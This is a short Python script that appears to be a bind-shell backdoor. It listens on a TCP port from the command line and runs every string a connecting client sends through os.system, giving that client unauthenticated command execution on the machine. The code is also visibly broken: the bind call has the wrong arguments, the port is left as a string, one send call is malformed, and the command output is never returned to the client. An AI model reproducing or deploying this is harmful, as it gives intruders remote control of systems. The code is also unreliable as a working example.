import os
import sys
import socket
from threading import Thread

HOST = ''

try:
  PORT = sys.argv[1]
except:
  print("Usage: python %s PORT" % (sys.argv[0]))
  exit()

if PORT:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.bind(HOST, PORT)
	s.listen(10)
	conn, addr = s.accept()
	while 1:
		data = conn.recv(1024)
		conn.send("~$ ")
		if not data: break
		output = os.system(data)
		conn.send(output = "\n")
	conn.close()

else:
	exit()